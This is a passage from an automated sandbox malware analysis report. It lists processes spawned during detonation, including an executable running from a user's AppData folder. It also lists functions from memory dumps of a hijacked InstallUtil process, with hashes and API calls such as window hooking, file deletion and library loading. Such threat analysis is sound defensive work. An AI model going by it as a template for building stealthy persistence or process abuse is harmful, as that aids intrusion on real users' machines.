Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6484 -s 26904
Imagebase:	0x7ff6de850000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	16:42:48
Start date:	11/03/2024
Path:	C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe"
Imagebase:	0x360000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:42:49
Start date:	11/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:42:57
Start date:	11/03/2024
Path:	C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe"
Imagebase:	0xba0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:42:57
Start date:	11/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	140
Total number of Limit Nodes:	13

Executed Functions

Function 0618B1D8 Relevance: 8.3, Strings: 6, Instructions: 762COMMON

Download Yara Rule

Strings

$uq, xrefs: 0618BB99
$uq, xrefs: 0618BB3D
$uq, xrefs: 0618BB31
$uq, xrefs: 0618BB71
$uq, xrefs: 0618BBA5
$uq, xrefs: 0618BB65

Memory Dump Source

Source File: 00000006.00000002.2587283245.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_InstallUtil.jbxd

Similarity

API ID:
String ID: $uq$$uq$$uq$$uq$$uq$$uq
API String ID: 0-513376821
Opcode ID: 3639d154aeb2862892d25e85f9be9a81f576e6bd517c44e5ce5b8c499a52410c
Instruction ID: c73eae25fc51d2434c552157713d9592ae75bfa76c7a488398c9ec61f2a9801a
Opcode Fuzzy Hash: 3639d154aeb2862892d25e85f9be9a81f576e6bd517c44e5ce5b8c499a52410c
Instruction Fuzzy Hash: 08525C70E182099FDF64EB68D4907ADB7B2FB85310F248829E415EB395DB34ED81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06183428 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$uq, xrefs: 06183B0A
$uq, xrefs: 06183B4B
$uq, xrefs: 06183B33
$uq, xrefs: 06183AFE
$uq, xrefs: 06183B27
$uq, xrefs: 06183B57

Memory Dump Source

Source File: 00000006.00000002.2587283245.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_InstallUtil.jbxd

Similarity

API ID:
String ID: $uq$$uq$$uq$$uq$$uq$$uq
API String ID: 0-513376821
Opcode ID: d1611f7168125734ea541409b5605096c8a26427c70d2a99bad40285971a5fe7
Instruction ID: 00d4de267c8e6ae698f7f91af9fd95e7441c4b873399a1d6296cbc36a437e182
Opcode Fuzzy Hash: d1611f7168125734ea541409b5605096c8a26427c70d2a99bad40285971a5fe7
Instruction Fuzzy Hash: D9323E34E1061ACFCB55EBA5C89059DF7B2FFC9300F64CA99D419AB254EB30A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00D8D86F Relevance: 3.0, Instructions: 3009COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2580424242.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb25c8bca2a8c9a2d0118658fc801bbf43f3842394ea46835bfee806cd59ca47
Instruction ID: 0b83ca8692034a6c9fe6db248b52aa481c5f651118eaf5459963e135be65e801
Opcode Fuzzy Hash: bb25c8bca2a8c9a2d0118658fc801bbf43f3842394ea46835bfee806cd59ca47
Instruction Fuzzy Hash: DC631B31D10B1A8ADB11EF68C8846A9F7B1FF99300F55D79AE05877121EB70AAC5CF81

Uniqueness

Uniqueness Score: -1.00%

Function 06187D30 Relevance: 3.0, Strings: 2, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$uq, xrefs: 06188079
$uq, xrefs: 0618806D

Memory Dump Source

Source File: 00000006.00000002.2587283245.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_InstallUtil.jbxd

Similarity

API ID:
String ID: $uq$$uq
API String ID: 0-1675735726
Opcode ID: 22780c55ca1e955fda9d04046f6504627a2c898f5392d333d9a497f75ce3f3a9
Instruction ID: 899f07ff425294c1f96c5d60b4b960e365d52d08d9a4a579032a30d55d1fbc17
Opcode Fuzzy Hash: 22780c55ca1e955fda9d04046f6504627a2c898f5392d333d9a497f75ce3f3a9
Instruction Fuzzy Hash: B502BE30B002059FDB58EB69D590AAEB7F2FF84300F648969E415DB391DB35ED82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00D8E867 Relevance: 2.9, Strings: 2, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xyq, xrefs: 00D8E9E7
$uq, xrefs: 00D8E9CE

Memory Dump Source

Source File: 00000006.00000002.2580424242.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_InstallUtil.jbxd

Similarity

API ID:
String ID: Xyq$$uq
API String ID: 0-102551348
Opcode ID: 86a30dc3b69c7346b55c38cb45213e5ad408b37d87c46d8ee43a29254d00e8ed
Instruction ID: 6a94dbc39d86e0beb2f25483c8e33be619f43f54df4b20c3cec59ef4e7006dff
Opcode Fuzzy Hash: 86a30dc3b69c7346b55c38cb45213e5ad408b37d87c46d8ee43a29254d00e8ed
Instruction Fuzzy Hash: 1AC1D275B042189BDB18AB78989527E7FB3BFC9700B19846ED046DB395DE34CC068BB1

Uniqueness

Uniqueness Score: -1.00%

Function 06185558 Relevance: 1.8, Strings: 1, Instructions: 588
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 061858EF

Memory Dump Source

Source File: 00000006.00000002.2587283245.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_InstallUtil.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: a9f9785ea54aa8252bc09c7eeddc02e7a358f3d266a216b38aa499e7f483bc33
Instruction ID: 556e251d3074018732b9cd49bf18f33e9edda5ff5e35ae879737fdbe7d25c264
Opcode Fuzzy Hash: a9f9785ea54aa8252bc09c7eeddc02e7a358f3d266a216b38aa499e7f483bc33
Instruction Fuzzy Hash: FF22B075E002198FDFA4EBA4C4906AEBBB3EF85310F24846AE415AB355DB35EC45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 061865A8 Relevance: .8, Instructions: 813COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2587283245.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4269c47d4dfad5c05d57b9206276808b375dce072ffbd567051dfa26c800ad8f
Instruction ID: edad63585058bc12e971bdbfb2aaabb3e7027887b030304ea2cdbd7720a9216d
Opcode Fuzzy Hash: 4269c47d4dfad5c05d57b9206276808b375dce072ffbd567051dfa26c800ad8f
Instruction Fuzzy Hash: B2625B34B002059FDB54EB68D594AADB7F2FB88314F248869E406DB395DB35ED81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0618C118 Relevance: .6, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2587283245.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7627c668eeaab77d01bceba20b5a37a876a1ce6c0936ae5121b0bfbc93c9de8b
Instruction ID: 1b5a2ff87feb93c4ccc5e94a4c7aef1c0889056a3a033a9447b74ae39f871206
Opcode Fuzzy Hash: 7627c668eeaab77d01bceba20b5a37a876a1ce6c0936ae5121b0bfbc93c9de8b
Instruction Fuzzy Hash: 83326D74B102059FDF54EF68D494AAEBBB2FB89310F108965E505EB395DB34EC81CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D8E060 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2580424242.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cd022526c5359eb1a4fa1ff560a584c1dc4ba7f2f9e99bd99c2a7ad9fa396dc
Instruction ID: 8b7e8dfa72199a544793f6542a6e91b229cb692c5ec6361dfdb678ec39081cb0
Opcode Fuzzy Hash: 8cd022526c5359eb1a4fa1ff560a584c1dc4ba7f2f9e99bd99c2a7ad9fa396dc
Instruction Fuzzy Hash: 1BD1E171B04215AFDB14EF78C880B6EBBB6EF84310F24856AD415DB295DB35EC42CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D8A8A8 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2580424242.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b293c839a0630d678b37ba519b2a7a60156a532792c228a871ba280c325a3ea
Instruction ID: 088925e3167cd93b45f0c89b8de5200f48f47f7dc8c45f8a880190d654be3ce3
Opcode Fuzzy Hash: 3b293c839a0630d678b37ba519b2a7a60156a532792c228a871ba280c325a3ea
Instruction Fuzzy Hash: E3D1A075A042058FEB14EF6CD9807AEBBB1FB88310F14856AE509DB395D770DC85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D84AA8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2580424242.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14d879229c1590a54c6bc6aac75bccc4a3894c608f53bd46e461004a32930e07
Instruction ID: 29394fb11917e5dd060e29275f47edfa8acf63b3b14aa89fe2bfc184708d96ac
Opcode Fuzzy Hash: 14d879229c1590a54c6bc6aac75bccc4a3894c608f53bd46e461004a32930e07
Instruction Fuzzy Hash: CCB15E70E0021A8FDF14EFA9D88179DBBF2BF88314F188529D815E7394EB749845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00D83E90 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2580424242.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e347f2d225c33bf9a28aa5d80a90646d4e1eb309274a8a81738f9d3cadd91f6
Instruction ID: 6cd1bf66675544195a3cdf98961554caedd1d261b44640521e1ad0c231262168
Opcode Fuzzy Hash: 0e347f2d225c33bf9a28aa5d80a90646d4e1eb309274a8a81738f9d3cadd91f6
Instruction Fuzzy Hash: BD917170E0030ACFDF14DFA9C88579EBBF2AF88714F148129E418E7254EB349985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0618AC70 Relevance: 10.4, Strings: 8, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$uq, xrefs: 0618AE48
$uq, xrefs: 0618AD9D
$uq, xrefs: 0618ADF0
$uq, xrefs: 0618AE13
$uq, xrefs: 0618AD91
$uq, xrefs: 0618AE3C
$uq, xrefs: 0618AE1F
$uq, xrefs: 0618ADE4

Memory Dump Source

Source File: 00000006.00000002.2587283245.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_InstallUtil.jbxd

Similarity

API ID:
String ID: $uq$$uq$$uq$$uq$$uq$$uq$$uq$$uq
API String ID: 0-2337511405
Opcode ID: 93f139132c6ffc2af44e442b89bfe66c62c90f88a81810bdf36f754896cbf4f1
Instruction ID: 16444b3af5fffeb830eec476d4f12f03359db2553ad2ebbacf0c7ba9dc0c2f96
Opcode Fuzzy Hash: 93f139132c6ffc2af44e442b89bfe66c62c90f88a81810bdf36f754896cbf4f1
Instruction Fuzzy Hash: 2EE16F70E102099FDF69EB69D4906AEB7B2FF85300F10892AE405DB355DB74AC86CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06163892 Relevance: 6.1, APIs: 4, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06163916
GetCurrentThread.KERNEL32 ref: 06163953
GetCurrentProcess.KERNEL32 ref: 06163990
GetCurrentThreadId.KERNEL32 ref: 061639E9

Memory Dump Source

Source File: 00000006.00000002.2586987747.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6160000_InstallUtil.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 05ce5fd4b1e2a34e1fefefa514256856ee7925e494e03c27d2c1c64cdd8539f3
Instruction ID: 53ca3c6dc96b7e23de46436b4b2105bbc6c2dced8a290d3c18109042628973d3
Opcode Fuzzy Hash: 05ce5fd4b1e2a34e1fefefa514256856ee7925e494e03c27d2c1c64cdd8539f3
Instruction Fuzzy Hash: 495165B4900209CFDB54CFAAD948BAEBBF1EF48314F248459E419B73A1DB346984CF65

Uniqueness

Uniqueness Score: -1.00%

Function 06163898 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06163916
GetCurrentThread.KERNEL32 ref: 06163953
GetCurrentProcess.KERNEL32 ref: 06163990
GetCurrentThreadId.KERNEL32 ref: 061639E9

Memory Dump Source

Source File: 00000006.00000002.2586987747.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6160000_InstallUtil.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 12fb5db584d1e2805eef7d4b5086aa90a27441aa6634ae2d3a206c6a203f1544
Instruction ID: c54c68fd99e7d2466e911f41040e7b0f1b73f0e3d2d9791b4a0652fd3ba82051
Opcode Fuzzy Hash: 12fb5db584d1e2805eef7d4b5086aa90a27441aa6634ae2d3a206c6a203f1544
Instruction Fuzzy Hash: E95175B4900209CFDB54CFAAD948BAEBBF1EF48314F248459E419B73A0DB346984CF65

Uniqueness

Uniqueness Score: -1.00%

Function 061890F8 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$uq, xrefs: 061891AF
$uq, xrefs: 06189168
$uq, xrefs: 061891A3
$uq, xrefs: 06189174

Memory Dump Source

Source File: 00000006.00000002.2587283245.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_InstallUtil.jbxd

Similarity

API ID:
String ID: $uq$$uq$$uq$$uq
API String ID: 0-824408671
Opcode ID: 8e6096020a9cb71b4960cdd2e1ac2ac093e9acb4001165fcf410d4adf108ba8e
Instruction ID: c2776c05f7b4c22c2cea5732dda09acc1dc6460e919fcad1c81d94063299fa65
Opcode Fuzzy Hash: 8e6096020a9cb71b4960cdd2e1ac2ac093e9acb4001165fcf410d4adf108ba8e
Instruction Fuzzy Hash: 7E911074B0460A9FDF58EF69D8907AEB7B6BF88200F508965D809DB784EB309D41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0618CED8 Relevance: 4.5, Strings: 3, Instructions: 795
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$uq, xrefs: 0618D2CB
$uq, xrefs: 0618D2DF
$uq, xrefs: 0618D2D3

Memory Dump Source

Source File: 00000006.00000002.2587283245.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_InstallUtil.jbxd

Similarity

API ID:
String ID: $uq$$uq$$uq
API String ID: 0-180153550
Opcode ID: fb959372cb10cf9735180190266977d0415d81f27874007df9eeee2cfff0c71d
Instruction ID: af48464bf1e417b075a65911e40186887903c975906f311feca375a37f617f8a
Opcode Fuzzy Hash: fb959372cb10cf9735180190266977d0415d81f27874007df9eeee2cfff0c71d
Instruction Fuzzy Hash: 47624E70A007098FCB55EF68E590A5EB7B2FF85300F2089A9E4059F359DB75ED86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06184B28 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPzq, xrefs: 06184C55
fzq, xrefs: 06185235
\Ozq, xrefs: 06184CDF

Memory Dump Source

Source File: 00000006.00000002.2587283245.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_InstallUtil.jbxd

Similarity

API ID:
String ID: fzq$XPzq$\Ozq
API String ID: 0-770318796
Opcode ID: 632b5b283d26394457610b7ade339fdf4817448589bc24a76b9105b7a6377aff
Instruction ID: 9ea23e0c13d4b0db3d8132249f243eb1fb903ece71a440d8a8ee759b955462e3
Opcode Fuzzy Hash: 632b5b283d26394457610b7ade339fdf4817448589bc24a76b9105b7a6377aff
Instruction Fuzzy Hash: EB617174F002199FEF54ABA4D854BAEBBF6EB88300F208529E505AB391DF754D45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 061890E9 Relevance: 2.7, Strings: 2, Instructions: 167
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$uq, xrefs: 06189168
$uq, xrefs: 061891A3

Memory Dump Source

Source File: 00000006.00000002.2587283245.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_InstallUtil.jbxd

Similarity

API ID:
String ID: $uq$$uq
API String ID: 0-1675735726
Opcode ID: 87044036771334a17f87786768b2fb479419ca7e78343c05ed25f42359370d93
Instruction ID: 8d5fc9858abe38a1a60c5ac027c42987db51d02f7f41972a5eb7d8da93c857e8
Opcode Fuzzy Hash: 87044036771334a17f87786768b2fb479419ca7e78343c05ed25f42359370d93
Instruction Fuzzy Hash: 63514C74B045069FDF58EB78D890B6E77F6BB88200F508969D849DB784DB30EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0616BF28 Relevance: 1.7, APIs: 1, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0616C18E

Memory Dump Source

Source File: 00000006.00000002.2586987747.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6160000_InstallUtil.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: be05a745a5af8801fe17dd2d971dc0224a409f4e836471b40f735ee43aa727fc
Instruction ID: 8dc1f66d591f1bcaa9b9a5108a3492431b4a6c947a668cfa2fe027f96986fe28
Opcode Fuzzy Hash: be05a745a5af8801fe17dd2d971dc0224a409f4e836471b40f735ee43aa727fc
Instruction Fuzzy Hash: 67817B78A00B459FD764DF2AD44079ABBF5FF88300F008A2DE48AD7A50D775E965CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0616E0B1 Relevance: 1.7, APIs: 1, Instructions: 165COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0616E222

Memory Dump Source

Source File: 00000006.00000002.2586987747.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6160000_InstallUtil.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 591f6b40c5fd754590859e2365b8243e092d47f9748621b17da52d76c9053c6e
Instruction ID: d189f04c92a0755b47c4f10b962bd19b50a1a84a0fdea4c6fa35383c712b3771
Opcode Fuzzy Hash: 591f6b40c5fd754590859e2365b8243e092d47f9748621b17da52d76c9053c6e
Instruction Fuzzy Hash: A461E375C14249AFCF11CFAAC9409DEBFB5EF49350F15825AE818AB221D7319855CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0616E110 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0616E222

Memory Dump Source

Source File: 00000006.00000002.2586987747.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6160000_InstallUtil.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 80b81a8fc44829178c6a1149361813841b73969a35e54567e697a5ed9b9cadc1
Instruction ID: 18aa0c42459a79ec69b67cd962d79c6b8ec25cf6d6eefbc874bcda6d67c24b80
Opcode Fuzzy Hash: 80b81a8fc44829178c6a1149361813841b73969a35e54567e697a5ed9b9cadc1
Instruction Fuzzy Hash: 3841D2B5D103499FDB14CFAAC884ADEBBB5FF48300F64862AE818AB210D7719845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06163AD8 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06163B67

Memory Dump Source

Source File: 00000006.00000002.2586987747.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6160000_InstallUtil.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2db4f9475474570646e77ee2bdec9059ecec9aba0b508a01594b42aa0aae3ef4
Instruction ID: 0dd72fb2f801e6e76733448bdac2ad1effd3cdeb9884d9d4066997ed2c11706b
Opcode Fuzzy Hash: 2db4f9475474570646e77ee2bdec9059ecec9aba0b508a01594b42aa0aae3ef4
Instruction Fuzzy Hash: FF21B5B59002489FDB10CFAAD985AEEBBF8EB48310F14841AE918A3351D375A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06163AE0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06163B67

Memory Dump Source

Source File: 00000006.00000002.2586987747.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6160000_InstallUtil.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 995e68cfc2fa25d433372e036e3d736377f7d7fe5c99e382a90eca1ec3e6a8c9
Instruction ID: ff8476bc1f7b8779893b71a08181b7ef2ffe750af607ad5c86862ca391b2a761
Opcode Fuzzy Hash: 995e68cfc2fa25d433372e036e3d736377f7d7fe5c99e382a90eca1ec3e6a8c9
Instruction Fuzzy Hash: 3921C4B59002489FDB10CFAAD984ADEBBF8EB48310F14841AE918A3351D375A954CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00D877E0 Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 00D880F0

Memory Dump Source

Source File: 00000006.00000002.2580424242.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_InstallUtil.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 90756379688f05a92c0bde48ae03d555ca7ccc973a3b6dee5ac0da415d61c574
Instruction ID: 72a96cb8c0c7f51c2b5c0d315876596ccd95b0e1e965bf766fa14f90d2a29049
Opcode Fuzzy Hash: 90756379688f05a92c0bde48ae03d555ca7ccc973a3b6dee5ac0da415d61c574
Instruction Fuzzy Hash: 962136B1C006599BCB10DF9AC844BAEFBF4FB48320F14852AD858B7341D779A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D8FD30 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 00D8FDB3

Memory Dump Source

Source File: 00000006.00000002.2580424242.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_InstallUtil.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 3f5bd740ca31cd991043eb7a30f66d1facf4281319faab09645c7b9abc5400b0
Instruction ID: 88219781f93584a6520bfd33e6f2be404ca147abeb11a3b7093abd3b3f6cb312
Opcode Fuzzy Hash: 3f5bd740ca31cd991043eb7a30f66d1facf4281319faab09645c7b9abc5400b0
Instruction Fuzzy Hash: AE2113B5900209CFCB54DFA9C944BEEBBF5FB88320F14882AD459A7250C779A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0616C388 Relevance: 1.6, APIs: 1, Instructions: 58libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0616C209,00000800,00000000,00000000), ref: 0616C3FA

Memory Dump Source

Source File: 00000006.00000002.2586987747.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6160000_InstallUtil.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 97dcd73e117b4288ed7ec2899044ff652f195c3a1ac51a5a913c2947a7e1a33a
Instruction ID: 6c91ebba2b195f8af43107d02cc37544c240b654bf4ae4a88cca8b267c128b5d
Opcode Fuzzy Hash: 97dcd73e117b4288ed7ec2899044ff652f195c3a1ac51a5a913c2947a7e1a33a
Instruction Fuzzy Hash: B31129B6C003499FDB10CF9AD844ADEFBF8EB88310F14842AE469B7200C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D88078 Relevance: 1.6, APIs: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 00D880F0

Memory Dump Source

Source File: 00000006.00000002.2580424242.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_InstallUtil.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: be4b36a681a6e1fe16de15a18ec00bbd63a4d68888362d3982211828c18c2bfe
Instruction ID: 0b66032420cc8bc429a2a52777c53c586e1ca1d26cffebcdfc7ccde350e94c9c
